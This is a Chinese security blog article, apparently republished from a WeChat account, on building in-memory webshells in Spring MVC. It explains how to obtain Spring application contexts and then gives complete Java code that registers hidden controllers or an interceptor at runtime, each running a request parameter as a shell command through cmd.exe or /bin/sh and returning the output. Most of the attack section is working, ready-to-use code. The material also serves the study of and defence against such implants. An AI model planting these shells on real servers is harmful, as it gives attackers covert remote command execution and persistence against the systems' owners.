一.RING MVC 工作原理
2.1 ContextLoader.getCurrentWebApplicationContext()
2.2 WebApplicationContextUtils.getWebApplicationContext()
2.3 servletContext.getAttribute()
三. 获取CHILD CONTEXT
3.1 利用RequestContextUtils
3.2 Request. getAttribute()
四. 手动注册CONTROLLER
4.1 BeanNameUrlHandlerMapping
4.2 RequestMappingHandlerMapping
五. INTERCETOR型内存马
六. REFERENCE
1、客户端向web服务器发送一个http请求,web服务器对http请求进行解析,解析后的URL地址如果匹配了DispatcherServlet的映射路径(通过web.xml中的servlet-mapping配置),web容器就将请求交给DispatcherServlet处理。
2、DispatcherServlet接收到这个请求后,再对URL进行解析,得到请求资源标识符(URI)。然后调用相应方法得到的HandlerMapping对象,再根据URI,调用这个对象的相应方法获得Handler对象以及它对应的拦截器。(在这里只是获得了Handler对象,并不会操作它,在SpringMVC中,是通过HandlerAdapter对Handler进行调用、控制的)
3、DispatcherServlet根据得到的Handler对象,选择一个合适的HandlerAdapter,创建其实例对象,执行拦截器中的preHandler()方法。
4、在拦截器方法中,提取请求中的数据模型,填充Handler入参,所以所有准备工作都已做好,开始执行Handler(我们写的controller代码并不是能被直接执行,需要有刚才那些操作,才能转变为Handler被执行)。
5、Handler执行完毕后返回一个ModelAndView对象给DispatcherServlet。
6、DispatcherServlet通过Model将ModelAndView中得到的处数据解析后用于渲染视图。将得到的最终视图通过http响应返回客户端。
1.1DispatcherServlet
从上可以看到DispatcherServlet是整个Spring MVC的核心。它负责接收HTTP请求组织协调Spring MVC的各个组成部分,另外,DispatcherServlet实质是一个servlet,
web.xml中相关配置如下:
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0"> <context-param> <param-name>contextConfigLocation</param-name> <param-value>/WEB-INF/applicationContext.xml</param-value> </context-param> <listener> <listener-class>org.springframework.web.context.ContextLoaderListener</listener-class> </listener> <servlet> <servlet-name>dispatcher</servlet-name> <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class> <load-on-startup>1</load-on-startup> <init-param> <param-name>contextConfigLocation</param-name> <param-value>/WEB-INF/dispatcher-servlet.xml</param-value> </init-param> </servlet> <servlet-mapping> <servlet-name>dispatcher</servlet-name> <url-pattern>/</url-pattern> </servlet-mapping> </web-app> dispatcher-servlet.xml <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean class="org.springframework.web.servlet.handler.BeanNameUrlHandlerMapping"/> <bean class="org.springframework.web.servlet.mvc.SimpleControllerHandlerAdapter"/> <bean class="org.springframework.web.servlet.view.InternalResourceViewResolver"> <property name="prefix" value="/WEB-INF/jsp/"/> <property name="suffix" value=".jsp"/> </bean> <bean id="/hello" class="com.controller.HelloController"/> </beans> |
1.2ContextLoaderListener
<context-param> <param-name>contextConfigLocation</param-name> <param-value> /WEB-INF/classes/applicationContext-*.xml </param-value> </context-param> |
1.3ApplicationContext
类名称 |
功 能 描 述 |
ClassPathXmlApplicationContext |
从类路径ClassPath中寻找指定的XML配置文件,找到并装载,完成ApplicationContext的实例化工作。例如: //装载单个配置文件实例化ApplicationContext容器 ApplicationContext cxt = new ClassPathXmlApplicationContext("applicationContext.xml"); |
FileSystemXmlApplicationContext |
从指定的文件系统路径中寻找指定的XML配置文件,找到并装载,完成ApplicationContext的实例化工作。例如: //装载单个配置文件实例化ApplicationContext容器 ApplicationContext cxt = new FileSystemXMLApplicationContext("beans.xml"); |
XmlWebApplicationContext |
从Web应用中的寻找指定的XML配置文件,找到并装载,完成ApplicationContext的实例化工作。这是为Web工程量身定制的,使用WebApplicationContextUtils类的getRequiredWebApplicationContext方法可在JSP与Servlet中取得IoC容器的引用 |
关于spring中的context:
• Spring 应用中可以同时有多个 Context,其中只有一个 Root Context,剩下的全是 Child Context
• 所有Child Context都可以访问在 Root Context中定义的 bean,但是Root Context无法访问Child Context中定义的 bean
• 所有的Context在创建后,都会被作为一个属性添加到了 ServletContext中
1.4内存马构造思路
• 在不使用注解和修改配置文件的情况下,使用纯 java 代码来获得当前代码运行时的上下文环境
• 在不使用注解和修改配置文件的情况下,在上下文环境中手动注册一个 controller
• 在controller 中写入 WebShell 逻辑
2.1ContextLoader.getCurrentWebApplicationContext()
WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext(); |
2.2 WebApplicationContextUtils.getWebApplicationContext()
思路:所有的Context在创建后,都会被作为一个属性添加到了ServletContext中,借助servletContext获取Root Context。
WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext()); |
<dependency> <groupId>javax.servlet</groupId> <artifactId>javax.servlet-api</artifactId> <version>3.1.0</version> <scope>provided</scope> </dependency> |
2.3 servletContext.getAttribute()
思路:同样是借助servletContext来获取,不过利用的是getAttribute
ServletContext servletContext = ((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest().getServletContext(); WebApplicationContext context = (WebApplicationContext) servletContext.getAttribute("org.springframework.web.context.WebApplicationContext.ROOT"); |
3.1利用RequestContextUtils
思路:request中也存放着Child Context,所以也可以借助request
HttpServletRequest request = ((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest(); WebApplicationContext context = RequestContextUtils.findWebApplicationContext(request); //RequestContextUtils.getWebApplicationContext(request); //较新spring版本中已没有getWebApplicationContext方法 |
此方法获取的是名为dispatcherServlet-servlet的Child context
3.2 Request. getAttribute()
思路:同样是借助request获取,不过这里利用的是getAttribute
WebApplicationContext context = (WebApplicationContext) ((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT");或者 |
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); |
4.1 BeanNameUrlHandlerMapping
Demo代码如下:
package org.vul.RegistController; import org.springframework.web.servlet.ModelAndView; import org.springframework.web.servlet.mvc.Controller; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.PrintWriter; public class SSOLogin implements Controller { public ModelAndView handleRequest(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse) throws Exception { try { String arg0 = httpServletRequest.getParameter("code"); PrintWriter writer = httpServletResponse.getWriter(); if (arg0 != null) { String o = ""; java.lang.ProcessBuilder p; if(System.getProperty("os.name").toLowerCase().contains("win")){ p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0}); }else{ p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0}); } java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\A"); o = c.hasNext() ? c.next(): o; c.close(); writer.write(o); writer.flush(); writer.close(); }else{ httpServletResponse.sendError(404); } }catch (Exception e){ } return null; } } |
package org.vul.controller; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.context.support.XmlWebApplicationContext; import org.springframework.web.servlet.handler.BeanNameUrlHandlerMapping; import org.vul.RegistController.SSOLogin; import java.lang.reflect.Method; @Controller public class Test1 { @RequestMapping("/test1") @ResponseBody public String test(){ try { XmlWebApplicationContext context = (XmlWebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); context.getBeanFactory().registerSingleton("/SSOLogin",new SSOLogin()); BeanNameUrlHandlerMapping beanNameUrlHandlerMapping=context.getBean(BeanNameUrlHandlerMapping.class); Method detectHandlersMethod=Class.forName("org.springframework.web.servlet.handler.AbstractDetectingUrlHandlerMapping").getDeclaredMethod("detectHandlers"); detectHandlersMethod.setAccessible(true); detectHandlersMethod.invoke(beanNameUrlHandlerMapping); return "1"; }catch (Exception e){ return "0"; } } } |
4.2RequestMappingHandlerMapping
Demo代码:
package org.vul.controller; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.context.WebApplicationContext; import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.context.request.ServletRequestAttributes; import org.springframework.web.context.support.XmlWebApplicationContext; import org.springframework.web.servlet.handler.BeanNameUrlHandlerMapping; import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition; import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition; import org.springframework.web.servlet.mvc.method.RequestMappingInfo; import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping; import org.vul.RegistController.SSOLogin; import org.vul.RegistController.SpringControllerMemShell; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.io.PrintWriter; import java.lang.reflect.Method; @Controller public class Test2 { @RequestMapping("/test2") @ResponseBody public String test2(){ try { WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class); Method method2 = SpringControllerMemShell.class.getMethod("test"); PatternsRequestCondition url = new PatternsRequestCondition("/aaa"); RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition(); RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null); SpringControllerMemShell springControllerMemShell = new SpringControllerMemShell("aaa"); mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2); return "1"; }catch (Exception e){ return "0"; } } } |
package org.vul.RegistController; import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.context.request.ServletRequestAttributes; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.io.PrintWriter; public class SpringControllerMemShell { public SpringControllerMemShell(String aaa) { } public void test() throws IOException { HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest(); HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse(); try { String arg0 = request.getParameter("cmd"); PrintWriter writer = response.getWriter(); if (arg0 != null) { String o = ""; ProcessBuilder p; if (System.getProperty("os.name").toLowerCase().contains("win")) { p = new ProcessBuilder(new String[]{ "cmd.exe", "/c", arg0}); } else { p = new ProcessBuilder(new String[]{ "/bin/sh", "-c", arg0}); } java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\A"); o = c.hasNext() ? c.next() : o; c.close(); writer.write(o); writer.flush(); writer.close(); } else { response.sendError(404); } } catch (Exception e) { } } } |
1.preHandle方法是controller方法执行前拦截的方法
–可以使用request或者response跳转到指定的页面
–return true放行,执行下一个拦截器,如果没有拦截器,执行controller中的方法。
–return false不放行,不会执行controller中的方法。
2.postHandle是controller方法执行后执行的方法,在JSP视图执行前。
–可以使用request或者response跳转到指定的页面
–如果指定了跳转的页面,那么controller方法跳转的页面将不会显示。
3.afterCompletion方法是在JSP执行后执行
–request或者response不能再跳转页面了
来看下实现内存马的demo代码:
package org.vul.controller; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.context.WebApplicationContext; import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.context.request.ServletRequestAttributes; import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping; import org.springframework.web.servlet.support.RequestContextUtils; import org.vul.RegistInterceptor.magicInterceptor; @Controller public class Test3 { //Interceptor内存马 @RequestMapping("/test3") @ResponseBody public String test3(){ try { WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest()); //从requestMappingHandlerMapping中获取adaptedInterceptors属性 老版本是DefaultAnnotationHandlerMapping org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping) context.getBean(RequestMappingHandlerMapping.class); java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors"); field.setAccessible(true); java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>) field.get(abstractHandlerMapping); //添加magicInterceptor类到adaptedInterceptors adaptedInterceptors.add(new magicInterceptor()); return "1"; }catch (Exception e){ return "0"; } } } |
package org.vul.RegistInterceptor; import org.springframework.web.servlet.handler.HandlerInterceptorAdapter; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; public class magicInterceptor extends HandlerInterceptorAdapter { @Override public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { String code = request.getParameter("code"); if(code != null){ try { java.io.PrintWriter writer = response.getWriter(); String o = ""; ProcessBuilder p; if(System.getProperty("os.name").toLowerCase().contains("win")){ p = new ProcessBuilder(new String[]{"cmd.exe", "/c", code}); }else{ p = new ProcessBuilder(new String[]{"/bin/sh", "-c", code}); } java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A"); o = c.hasNext() ? c.next(): o; c.close(); writer.write(o); writer.flush(); writer.close(); }catch (Exception e){ } return false; } return true; } } |
https://l3yx.github.io/2020/03/31/Java-Web%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%9B%9E%E6%98%BE%E6%80%BB%E7%BB%93/
https://www.freebuf.com/articles/web/287989.html
https://copyfuture.com/blogs-details/202204220252518361#14ControllerSpringboot260__299
https://myzxcg.com/2021/11/Spring-%E5%86%85%E5%AD%98%E9%A9%AC%E5%AE%9E%E7%8E%B0/#contextloaderlistener%E4%B8%8Edispatcherservlet
原文始发于微信公众号(SAINTSEC):Java安全之Spring框架内存马技术总结
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论